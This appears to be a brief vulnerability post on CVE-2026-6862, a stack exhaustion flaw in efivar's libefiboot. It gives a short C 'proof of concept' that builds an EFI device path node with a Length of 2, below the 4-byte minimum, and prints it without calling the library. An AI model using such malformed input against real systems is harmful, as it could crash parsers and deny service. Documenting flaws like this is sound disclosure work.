CVE-2026-6862: efivar组件libefiboot栈耗尽漏洞

#include <stdio.h> #include <stdint.h> // Simulated EFI Device Path Node Structure typedef struct { uint8_t Type; uint8_t SubType; uint16_t Length; // Should be >= 4 bytes according to spec } EFI_DEVICE_PATH_PROTOCOL; int main() { // Proof of Concept for CVE-2026-6862 // The vulnerability occurs when the Length field is less than 4 bytes. // This malformed structure is intended to be passed to the vulnerable libefiboot parser. EFI_DEVICE_PATH_PROTOCOL malicious_node; // Set valid Type and SubType malicious_node.Type = 0x01; // Hardware Device Path malicious_node.SubType = 0x01; // PCI // Set Length to a value < 4 (e.g., 2 bytes) to bypass the missing validation // This triggers the infinite recursion flaw in libefiboot. malicious_node.Length = 0x02; printf("PoC generated: Malformed EFI Device Path Node\n"); printf("Type: 0x%02x, SubType: 0x%02x, Length: 0x%04x\n", malicious_node.Type, malicious_node.SubType, malicious_node.Length); // In a real exploit scenario, this data would be written to an EFI variable // or a file that is parsed by the vulnerable library. return 0; }